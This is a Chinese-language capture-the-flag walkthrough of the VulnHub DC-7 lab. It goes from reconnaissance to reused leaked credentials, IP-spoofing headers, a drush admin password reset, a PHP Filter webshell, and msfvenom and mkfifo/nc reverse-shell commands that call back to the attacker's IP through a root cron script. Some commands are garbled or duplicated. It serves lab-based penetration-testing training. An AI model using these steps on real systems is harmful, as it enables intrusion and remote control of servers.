靶机8 DC-7(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-7(包含1个flag)

下载地址:

DC: 7 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

靶机8 DC-7(过程超详细)_第1张图片

靶机8 DC-7(过程超详细)_第2张图片

导入成功,开启此虚拟机( 当页面出现 DC-7 login 时表示安装成功)。

靶机8 DC-7(过程超详细)_第3张图片

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-7和kali在同一网段 | 已知DC-7所在的网段

—— DC-7 IP地址:192.168.108.139/24

3.1信息收集

获取DC-7的IP地址

命令:netdiscover -r 192.168.108.0/24

靶机8 DC-7(过程超详细)_第4张图片

由图可知DC-7的IP地址是:192.168.108.139/24

端口扫描

命令:nmap -sV -p- 192.168.108.139

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

靶机8 DC-7(过程超详细)_第5张图片

获取信息如下:

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche 2.4.25

3.2    渗透测试

看到这里大致思路就是在获取了一定信息之后可以对ssh进行暴力破解

靶机8 DC-7(过程超详细)_第6张图片

访问了web之后可以在左下角看到CMS应该就是 Drupal ,但还是识别一下CMS,并且扫描一下目录

靶机8 DC-7(过程超详细)_第7张图片

CMS识别结果(python3 cmseek.py -u http://dc-7/ ):Drupal 8

靶机8 DC-7(过程超详细)_第8张图片

目录扫描(dirsearch -u "http://dc-7"  ):

扫到的几个有价值的目录

1、搜索

http://dc-7/search/node

靶机8 DC-7(过程超详细)_第9张图片

2、404

http://dc-7/forum/install/core/install.php

http://dc-7/wp-admin/core/install.php

靶机8 DC-7(过程超详细)_第10张图片

靶机8 DC-7(过程超详细)_第11张图片

3、CMS的升级

http://dc-7/core/install.php

靶机8 DC-7(过程超详细)_第12张图片

4、一个登录框

http://dc-7/user/login

靶机8 DC-7(过程超详细)_第13张图片

5、403

http://dc-7/core/

http://dc-7/modules/

http://dc-7/profiles/

http://dc-7/sites/

http://dc-7/sites/

靶机8 DC-7(过程超详细)_第14张图片

这里根据提示加上每一个打开的页面左下角都有一个作者的标志

靶机8 DC-7(过程超详细)_第15张图片

靶机8 DC-7(过程超详细)_第16张图片

猜测会有源码之类的,直接去github看一看

靶机8 DC-7(过程超详细)_第17张图片

靶机8 DC-7(过程超详细)_第18张图片

还真的找到了,这里包含了源码文件,有一个配置文件(config.php),看不懂没关系直接翻译

靶机8 DC-7(过程超详细)_第19张图片

打开之后直接就获得了可能的账号密码(dc7user、MdR3xOgB7#dW)

靶机8 DC-7(过程超详细)_第20张图片

在登录页面尝试登录失败(这里本来还以为是本地才行,burp抓包修改了ip也不行)

突破登录IP地址限制:

原理:如果登录系统设置了IP地址白名单,我们可以通过下面的几个http头字段伪造IP地址,用burp抓包后将下面的某个http头字段加入数据包发送到服务器

Client-Ip: 127.0.0.1

X-Client-IP: 127.0.0.1

X-Real-IP: 127.0.0.1

True-Client-IP: 127.0.0.1

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Forwarded-Host: 127.0.0.1

靶机8 DC-7(过程超详细)_第21张图片

之前不是还有一个ssh服务嘛,尝试ssh登录成功了(dc7user、MdR3xOgB7#dW)

靶机8 DC-7(过程超详细)_第22张图片

看了一下系统版本比较高,但还是抱着试一试的心态尝试了一下脏牛,结果果然是不行

靶机8 DC-7(过程超详细)_第23张图片

靶机8 DC-7(过程超详细)_第24张图片

试一下sudo和suid提权吧

sudo -l #查看可以sudo使用的程序

find / -perm -4000 2>/dev/null #寻找有SUID权限(4000的文件,不显示其他的错误信息相当于过滤

结果,这里并没有看到sudo和suid提权的方式

常用的SUID提权命令(nmap、vim、find、bash、more、less、nano、cp 等)

靶机8 DC-7(过程超详细)_第25张图片

突然想起来在尝试脏牛提权的时候下载完成之后显示了收到了一个邮件,并且给出了地址

靶机8 DC-7(过程超详细)_第26张图片

查看邮件,看看有没有什么敏感信息泄露,打开后看到了root和两个文件的地址

cat /var/mail/dc7user

靶机8 DC-7(过程超详细)_第27张图片

查看一下 backups.sh 文件

在这里看到 backups.sh 文件里面执行了drush命令,执行的文件是/home/dc7user/backups/website.sql

想着直接改文件路径,但是可惜只有可读和可执行的权限,并不能写文件,想要写入的话还需要获取到webshell,使用www-data的用户权限

靶机8 DC-7(过程超详细)_第28张图片

解释:

drush是一个shell接口,用于从云服务器命令行管理Drupal。

需要在 drupal web目录执行(/var/www/[drupal_folder_name])

使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")

drush user-password admin --password="admin"

靶机8 DC-7(过程超详细)_第29张图片

这就很尴尬,前面尝试次数太多了导致的

使用以下命令创建新用户:

drush user-create root --password "root"

drush user-password root--password="root"

靶机8 DC-7(过程超详细)_第30张图片

使用root用户登陆成功

靶机8 DC-7(过程超详细)_第31张图片

在个人信息里面看到了上传图片的地方,做了一个图片马尝试蚁剑连接,结果失败了,burp抓包也没找到可以跨目录存储的地方

靶机8 DC-7(过程超详细)_第32张图片

靶机8 DC-7(过程超详细)_第33张图片

还是没有什么办法,重新去登录admin用户

靶机8 DC-7(过程超详细)_第34张图片

后面查了一下因为dc7的CMS是Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装。在官网找到下载链接,下载之后给 DC-7 安装

靶机8 DC-7(过程超详细)_第35张图片

靶机8 DC-7(过程超详细)_第36张图片

靶机8 DC-7(过程超详细)_第37张图片

回到admin的后台管理界面依次点击左上角的manager→extend→install new module,浏览选择刚才的压缩包。

靶机8 DC-7(过程超详细)_第38张图片

install安装成功,点击next steps里的enable newly added modules(启用新添加的模块)激活php模块

靶机8 DC-7(过程超详细)_第39张图片

靶机8 DC-7(过程超详细)_第40张图片

滚轮下滑找到 php fliter 勾选之后选择安装,安装成功

靶机8 DC-7(过程超详细)_第41张图片

在Content中添加一句话木马,依次点击:content(内容)→add content→basic page(为静态内容使用基本页面),测试添加,命名为ceshi。选择format为php code。

靶机8 DC-7(过程超详细)_第42张图片

靶机8 DC-7(过程超详细)_第43张图片

挂一句话木马(

靶机8 DC-7(过程超详细)_第44张图片

使用蚁剑连接,反弹shell

靶机8 DC-7(过程超详细)_第45张图片

结果这里发现蚁剑不能使用终端执行命令

靶机8 DC-7(过程超详细)_第46张图片

这里只能使用php执行实现反弹shell,这里使用php-reverse-shell(自行更改ip和port)

php-reverse-shell(PHP反向外壳)

  • 参考URL:https://pentestmonkey.net/tools/web-shells/php-reverse-shell
  • 此工具专为在渗透测试期间您对运行 PHP 的网络服务器具有上传访问权限的情况而设计。将此脚本上传到 Web 根目录中的某个位置,然后通过在浏览器中访问相应的 URL 来运行它。该脚本将打开从网络服务器到您选择的主机和端口的出站 TCP 连接。绑定到这个 TCP 连接的将是一个 shell。
  • 这将是一个适当的交互式 shell,您可以在其中运行 telnet、ssh 和 su 等交互式程序。它与基于 Web 表单的 shell 不同,后者允许您发送单个命令,然后返回输出。

靶机8 DC-7(过程超详细)_第47张图片

靶机8 DC-7(过程超详细)_第48张图片

msfvenom 获取反弹一句话(插入反弹shell的执行语句)

  • msfvenom -l payloads 'cmd/unix/reverse' #我们使用msfvenom-l进行"cmd/uniⅸ/reverse"反弹shelli命令生成payload的内容查询
  • 靶机8 DC-7(过程超详细)_第49张图片

生成 nc 反弹一句话生成

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.108.129 lport=9999 R

生成 bash 反弹一句话生成

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.108.129 lport=9999 R

尝试:

mkfifo /tmp/eieioac; nc 192.168.108.129 9999 0/tmp/eieioac 2>&1; rm /tmp/eieioac

耐心等待backups.sh这个定时任务执行(真的要等一会),因为本来一维一下就反弹的,所以很快换了三个payload,结果发现需要等待执行

靶机8 DC-7(过程超详细)_第50张图片

靶机8 DC-7(过程超详细)_第51张图片

你可能感兴趣的:(#,靶机,网络,安全,网络协议)